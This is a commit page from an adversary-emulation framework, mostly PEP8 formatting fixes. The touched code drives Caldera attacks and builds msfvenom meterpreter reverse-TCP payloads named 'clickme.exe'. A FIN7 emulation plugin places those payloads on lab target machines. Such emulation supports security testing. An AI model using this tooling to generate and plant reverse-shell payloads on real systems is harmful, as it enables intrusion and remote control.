PEP8 fixes

pull/3/head
Thorsten Sick 3 years ago
parent 102077f147
commit 3bac1d862d

@ -587,7 +587,7 @@ class CalderaControl():
# ######## All inclusive methods
def attack(self, attack_logger: AttackLog = None, paw="kickme", ability_id="bd527b63-9f9e-46e0-9816-b8434d2b8989", group="red", target_platform=None, parameters = None):
def attack(self, attack_logger: AttackLog = None, paw="kickme", ability_id="bd527b63-9f9e-46e0-9816-b8434d2b8989", group="red", target_platform=None, parameters=None):
""" Attacks a system and returns results
@param attack_logger: An attack logger class to log attacks with
@ -689,7 +689,7 @@ class CalderaControl():
self.attack_logger.vprint(f"{CommandlineColors.BACKGROUND_GREEN} Output: {outp} {CommandlineColors.ENDC}", 2)
pprint(output)
self.attack_logger.vprint(self.list_facts_for_name("source_"+operation_name), 2)
self.attack_logger.vprint(self.list_facts_for_name("source_" + operation_name), 2)
# ######## Cleanup
self.execute_operation(opid, "cleanup")

@ -204,7 +204,7 @@ class ExperimentConfig():
try:
res = self.raw_config["kali_conf"][attack]
except KeyError as exception:
except KeyError:
res = {}
if res is None:
res = {}

@ -119,11 +119,11 @@ class Experiment():
self.attack_logger.vprint(f"Attacking machine with PAW: {target_1.get_paw()} with {attack}", 2)
it_worked = self.caldera_control.attack(attack_logger=self.attack_logger,
paw=target_1.get_paw(),
ability_id=attack,
group=target_1.get_group(),
target_platform=target_1.get_os()
)
paw=target_1.get_paw(),
ability_id=attack,
group=target_1.get_group(),
target_platform=target_1.get_os()
)
# Moved to fix section below. If fix works: can be removed
# print(f"Pausing before next attack (config: nap_time): {self.experiment_config.get_nap_time()}")

@ -3,8 +3,6 @@
from pymetasploit3.msfrpc import MsfRpcClient
from app.machinecontrol import Machine
# https://github.com/DanMcInerney/pymetasploit3
# Requirements
@ -80,8 +78,6 @@ class MSFVenom():
if outfile is not None:
cmd += f" -o {outfile}"
# -p payload linux/x86/meterpreter_reverse_tcp
# -f format: elf, exe, powershell, python
# --platform: linux, windows, osx
@ -120,4 +116,3 @@ class MSFVenom():
cmd = self.generate_cmd(**kwargs)
self.attacker.remote_run(cmd)

@ -31,7 +31,6 @@ def list_facts(calcontrol, arguments): # pylint: disable=unused-argument
@param arguments: Parser command line arguments
"""
printme = "No found"
if arguments.name:

@ -4,8 +4,7 @@ from app.metasploit import MSFVenom, Metasploit
# For some local tests
if __name__=="__main__":
if __name__ == "__main__":
# msfrpcd -S -P password -u user -f
attacker_ip = "192.168.178.125"
@ -17,16 +16,6 @@ if __name__=="__main__":
attack_logger = AttackLog(0)
attacker = Machine({"root": "systems/attacker1",
"os": "linux",
"vm_controller": {
"type": "vagrant",
"vagrantfilepath": "systems",
"ip": attacker_ip
},
"vm_name": "attacker1"}, attack_logger)
# Target machine is attacker machine here
target = Machine({"root": "systems/attacker1",
"os": "linux",
"vm_controller": {
"type": "vagrant",
@ -35,6 +24,16 @@ if __name__=="__main__":
},
"vm_name": "attacker1"}, attack_logger)
# Target machine is attacker machine here
target = Machine({"root": "systems/attacker1",
"os": "linux",
"vm_controller": {
"type": "vagrant",
"vagrantfilepath": "systems",
"ip": attacker_ip
},
"vm_name": "attacker1"}, attack_logger)
venom = MSFVenom(attacker, target)
print(venom.generate_cmd(payload="linux/x64/meterpreter_reverse_tcp",
architecture="x64",
@ -44,4 +43,4 @@ if __name__=="__main__":
outfile="clickme.exe"))
metasploit = Metasploit(password, server=attacker.get_ip(), username=user)
# client = MsfRpcClient('yourpassword', ssl=True)
# client = MsfRpcClient('yourpassword', ssl=True)

@ -125,11 +125,11 @@ class MachineryPlugin(BasePlugin):
""" The path external to the vm where specific data is stored """
return os.path.join(self.config.vagrantfilepath(), self.config.machinepath())
###############
# This is the interface from the main code to the plugin system. Do not touch
def __call_halt__(self):
""" Wrapper around halt """
self.vprint(f"{CommandlineColors.OKBLUE}Stopping machine: {self.config.vmname()} {CommandlineColors.ENDC}", 1)
self.halt()
self.vprint(f"{CommandlineColors.OKGREEN}Machine stopped: {self.config.vmname()}{CommandlineColors.ENDC}", 1)

@ -8,7 +8,6 @@ from app.metasploit import MSFVenom
import os
class FIN7Plugin(AttackPlugin):
# Boilerplate
@ -34,7 +33,6 @@ class FIN7Plugin(AttackPlugin):
# winword.exe spawns verclsid.exe
# mshta uses taskschd.dll to create a task in 5 minutes
self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}End Step 1: Initial Breach{CommandlineColors.ENDC}", 1)
def step2(self):
@ -70,7 +68,7 @@ class FIN7Plugin(AttackPlugin):
# TODO: query computername https://attack.mitre.org/techniques/T1082/
# self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1)
#self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596")
# self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596")
# TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/
# WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/
@ -100,12 +98,12 @@ class FIN7Plugin(AttackPlugin):
payload_name = "clickme.exe"
venom = MSFVenom(self.attacker_machine_plugin, self.targets[0])
venom.generate_payload(payload="linux/x64/meterpreter_reverse_tcp",
architecture="x64",
platform="linux",
# lhost,
format="elf",
outfile=payload_name)
venom.generate_payload(payload="windows/x64/meterpreter_reverse_tcp",
architecture="x64",
platform="windows",
# lhost,
format="exe",
outfile=payload_name)
self.attacker_machine_plugin.get(payload_name, self.targets[0].get_machine_path_external())
src = os.path.join(self.targets[0].get_machine_path_external(), payload_name)
self.targets[0].put(src, self.targets[0].get_playground())

@ -273,18 +273,18 @@ class TestExample(unittest.TestCase):
"name": "source_name"
}
exp3 = {"index": "operations",
"name": name,
"state": state,
"autonomous": 1,
'obfuscator': 'plain-text',
'auto_close': '1',
'jitter': '4/8',
'source': 'source_test_name',
'visibility': '50',
"group": group,
"planner": "atomic",
"adversary_id": advid,
}
"name": name,
"state": state,
"autonomous": 1,
'obfuscator': 'plain-text',
'auto_close': '1',
'jitter': '4/8',
'source': 'source_test_name',
'visibility': '50',
"group": group,
"planner": "atomic",
"adversary_id": advid,
}
with patch.object(self.cc, "__contact_server__", return_value=None) as mock_method:
self.cc.add_operation(name, advid, group, state)
# mock_method.assert_called_once_with(exp, method="put")
@ -300,7 +300,7 @@ class TestExample(unittest.TestCase):
"rules": [],
"relationships": [],
"facts": []
}
}
exp2 = {"index": "sources",
"name": "source_name"
}

Loading…
Cancel
Save